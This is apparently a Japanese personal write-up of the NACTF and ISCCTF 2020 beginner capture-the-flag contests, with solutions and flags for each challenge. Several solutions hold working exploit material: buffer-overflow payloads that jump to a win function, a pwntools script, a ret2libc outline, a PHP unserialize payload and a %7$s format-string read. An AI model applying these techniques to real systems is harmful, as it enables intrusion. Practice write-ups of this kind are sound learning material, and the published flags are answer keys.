Grep 0 (General Skills)
% grep "nactf{" flag.txt
nactf{gr3p_1s_r3ally_c00l_54a65e7}
flag: nactf{gr3p_1s_r3ally_c00l_54a65e7}
Greeter (Binary Exploitation)
#include <stdio.h> #include <stdlib.h> void win() { puts("congrats! here's your flag:"); char flagbuf[64]; FILE* f = fopen("./flag.txt", "r"); if (f == NULL) { puts("flag file not found!"); exit(1); } fgets(flagbuf, 64, f); fputs(flagbuf, stdout); fclose(f); } int main() { /* disable stream buffering */ setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); char name[64]; puts("What's your name?"); gets(name); printf("Why hello there %s!\n", name); return 0; }
$ checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : FULL
getsのバッファオーバーフローを使って、どこからも呼ばれないwin関数を呼び出す系。
まずgdb-pedaでオーバーフロー位置を確認。72文字目以降。
あとは過去問と同じ。
$ python greeter.py [*] '/home/user/pwn/greeter' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [+] Opening connection to challenges.ctfd.io on port 30249: Done b'payload: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \x12@\x00\x00\x00\x00\x00' [*] Switching to interactive mode Why hello there AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \x12! congrats! here's your flag: nactf{n4v4r_us3_g3ts_5vlrDKJufaUOd8Ur} [*] Got EOF while reading in interactive
flag: nactf{n4v4r_us3_g3ts_5vlrDKJufaUOd8Ur}
dROPit (Binary Exploitation)
$ checksec dropit [*] '/home/user/pwn/dropit' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
オーバーフロー位置は56文字目以降。
libcが提供されていないので、まずputs, fgets辺りのgotをリークさせ、
ヒントにあったhttps://libc.rip/にかけてみると、libc6_2.32-0ubuntu2_amd64.so
が引っかかってきたのでダウンロードして使う。
あとはret2libcするだけ。
flag: nactf{r0p_y0ur_w4y_t0_v1ct0ry_698jB84iO4OH1cUe}
Numbers (General Skills)
フラグ文字列のasciiコードが+1された値が並んでいた。
with open('flag.txt') as f: numbers = map(int, f.read().split()) ans = '' for n in numbers: ans += chr(n-1) print(ans)
flag: nactf{asc11_XB4RCR5}
Dr. J's Vegetable Factory #1 🥕 (General Skills)
プログラム書くだけ。3問だったので手でも良いかも。
コード内に絵文字使えることを初めて知った。
flag: nactf{1f_th3r3s_4_pr0b13m_13ttuce_kn0w_db4d736fd28f0ea39ec}
YAMS (Cryptography)
vigenere暗号。キーは"YAMS"
Welcome to Vigenere. Here is your flag: nactf{yaM5_ar3_Y0mMy_w9jC91}
flag: nactf{yaM5_ar3_Y0mMy_w9jC91}
Oligar's Tricky RSA (Cryptography)
nが素因数分解可能。
flag: nactf{sn3aky_c1ph3r}
Error 0 (Cryptography)
2進数として文字列に変換してみると、náctf2g0uWXvn 23{C}\k¨\&/ÿB...
みたいな惜しいような惜しくないような文字列が出てきた。
問題文に"repeat 101"云々とあり、変換した文字列は29*101文字になっていることがわかった。
おそらくフラグは29文字で、noisyとあるので不要な文字が入っているんだろう、と29文字ずつの列に区切って色々悩んだ結果、
各列のn番目の文字で、最も多く出現した文字をピックアップするとフラグになることにたどり着いた。
flag: nactf{n01sy_n013j_|\|()|$'/}
Dr. J's Vegetable Factory #2 🥕 (General Skills)
野菜が多いが問題は1問。
flag: nactf{d0n7_w0rry_p34_h4ppy_f27ae283dd72cb62f685}
Glee (Reverse Engineering)
こちらのコードをお借りしました(自分で書いたangrは動かない…)
flag: nactf{1_r34lly_h0p3_y0u_d1dnt_d0_th1s_0ne_by_h4nd_fe0RqSD87j7Vh}
Zip Madness (General Skills)
1000回zipされていて、leftとrightのうちdirection.txtに書かれた正しい方を開ける。
flag: nactf{1_h0pe_y0u_d1dnt_d0_th4t_by_h4nd_87ce45b0}
Packed (Reverse Engineering)
メモリ上に展開された本丸コード上で文字の比較がされる。
メモリダンプとか取ったがバイナリを読むのが面倒になってしまったので、メモリ上に展開された文字比較部分から1文字ずつ拾っていった(どっちが面倒なのか…)
フラグの長さも、ランダムな文字列の長さ/5になっておりパッと見はわからないようにしてある。
正しい文字に書き換え続けた時の、メモリ上に展開されたコードを実行中の様子(なお文字が誤っていても最後まで比較はされるので書き換える必要は特にない)。
r8が正誤フラグとなっており、全て比較し終わった時に0の場合に"Good job!"となる。
flag: nactf{s3lf_unp4ck1ng_b1n_d1dnt_3v3n_s4v3_4ny_sp4c3_smh_mV4EUYae}
ISCCTF 2020 writeup
1909点で19位でした。
- Sanity check (Welcome)
- Last Logon (Forensics)
- strings (Reversing)
- Greetinjs (web)
- Yonezer (web)
- bookshop (Reversing)
- echo (Pwn)
- stack (Pwn)
- 感想
Sanity check (Welcome)
flag: ISCCTF{Th4nk_y0u_f0r_pl4y1ng_ISCCTF2020!}
Last Logon (Forensics)
regripperにかける。
flag: ISCCTF{2020/10/09_03:23:42}
strings (Reversing)
ヒントが答え!
% strings strings -n 6 /lib64/ld-linux-x86-64.so.2 =~Ms0/ libc.so.6 __cxa_finalize __libc_start_main GLIBC_2.2.5 _ITM_deregisterTMCloneTable __gmon_start__ _ITM_registerTMCloneTable []A\A]A^A_ ISCCTF{c4n_y0u_r34d_m3?} Hello world!! (snip)
flag: ISCCTF{c4n_y0u_r34d_m3?}
Greetinjs (web)
ソース内に記載のある/js/greet.js
にフラグ。
flag: ISCCTF{S0m3t1m35_y0u_c4n_ge7_50m3_h1nt5_fr0m_7h3_l04d3d_r3s0urc35}
Yonezer (web)
クラスのシリアライズでの呼び方は知らなかったのでメモしておく。
下記は問題文のコード。
<?php function html($string) { return htmlspecialchars($string); } $flag = file_get_contents("../flag.txt"); class secret{ public function data(){ global $flag; echo($flag); } } class share_video{ public $text="Hello Everone"; public function data(){ echo("<h1>" . html($this->text) . "</h1><br>"); echo("<MARQUEE><h1>Do you like this video 👀?</h1></MARQUEE>\n"); $urls = ["https://www.youtube.com/embed/s582L3gujnw","https://www.youtube.com/embed/gJX2iy6nhHc", "https://www.youtube.com/embed/SX_ViT4Ra7k","https://www.youtube.com/embed/Zw_FKq10S8M"]; $num = rand(0,3); $url = $urls[$num]; echo ("<div id=\"all\"><iframe width=\"1000\" height=\"600\" src=\"". $url . "\"></iframe></div>"); } } $serialized = @$_GET["data"]; $hoge = @unserialize($serialized); if($hoge){ $hoge->data(); } ?>
このコードにおいて、share_video
クラスは?data=O:11:"share_video":1:{s:4:"text";s:13:"Hello%20Everone";}
というデータで呼び出せる。へぇ。
この辺りを見ながら色々試した結果、?data=O:6:"secret":0:{}
で通った。
flag: ISCCTF{s3r14r41z3_1s_us3ful}
bookshop (Reversing)
起動して、flagを買おうとすると、お金が足りないと言われる。
その時に"2000円しか持ってない"と所持金が表示されるので、引数になっている[rbp-2Ch]が所持金とわかる。
その2000円が渡されているのは下記の部分なので、ここをバイナリパッチしてFFFF
とかにして動かした。
$ ./bookshop Welcome to BookStore!! What will you do? buy(b)/status(s)/read(r) b now stock is... shop status is ... item |price |stock ----------------------------------- Kirara 380 3 MAX 380 3 Carat 490 1 Forward 590 2 Miracle 366 3 flag 65535 1 ----------------------------------- what do you want? > flag buying flag ... Thank you for your purchase!! What will you do? buy(b)/status(s)/read(r) r you having... flag Which one do you read? >flag ISCCTF{y0u_c4n_p4tch_b1n4r13s_w1th_xxd_4nd_vim}
flag: ISCCTF{y0u_c4n_p4tch_b1n4r13s_w1th_xxd_4nd_vim}
echo (Pwn)
入力された値をそのまま返すプログラム。
$ nc 34.84.45.208 4002 echo echo
$ checksec echo Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
バイナリは何もしなくてもflag.txtを読み込んでいて、そのバッファを読み出せばよい。
printfを使っていてfsbができる。
AAAABBBB
と書いたflag.txtを読み込ませてローカル実行。
%pをたくさん入れてやると、7番目に読み出したいアドレス0x555555559480
が出力されるので、
このアドレスが指す値を出力=%7$s
を入力すればよい。
$ nc 34.84.45.208 4002 %7$s ISCCTF{th3_f1r5t_4rgum3nt_0f_printf_must_b3_a_str1ng_l1t3r4l}
flag: ISCCTF{th3_f1r5t_4rgum3nt_0f_printf_must_b3_a_str1ng_l1t3r4l}
stack (Pwn)
なんか競技中アホになっていて解けなかった。今見たらできた。
ここのwin関数でflagを読み込んで表示しているが、この関数がどこからも呼ばれないのでここに飛ばせばよい。
オーバーフロー位置は120文字以降。
from pwn import * elf = ELF("./chall") io = process("./chall") #io = process("") base = b'A'*120 win = 0x4011D6 payload = b'A'*120 + p64(win) io.sendlineafter("> ", payload)
$ python pwn1.py [*] '/home/user/pwn/chall' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [+] Starting local process './chall': pid 2789 [*] Switching to interactive mode [*] Process './chall' stopped with exit code 0 (pid 2789) Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xd6@, I'm full stuck engineer!!!!!. {This is test flag.}
感想
ここのところ全然解けないことばかりで、地に落ちた自己肯定感を養いたくて、ビギナー向けCTFということで参加させてもらいました。
解けるって感覚 多分めちゃくちゃ だいじ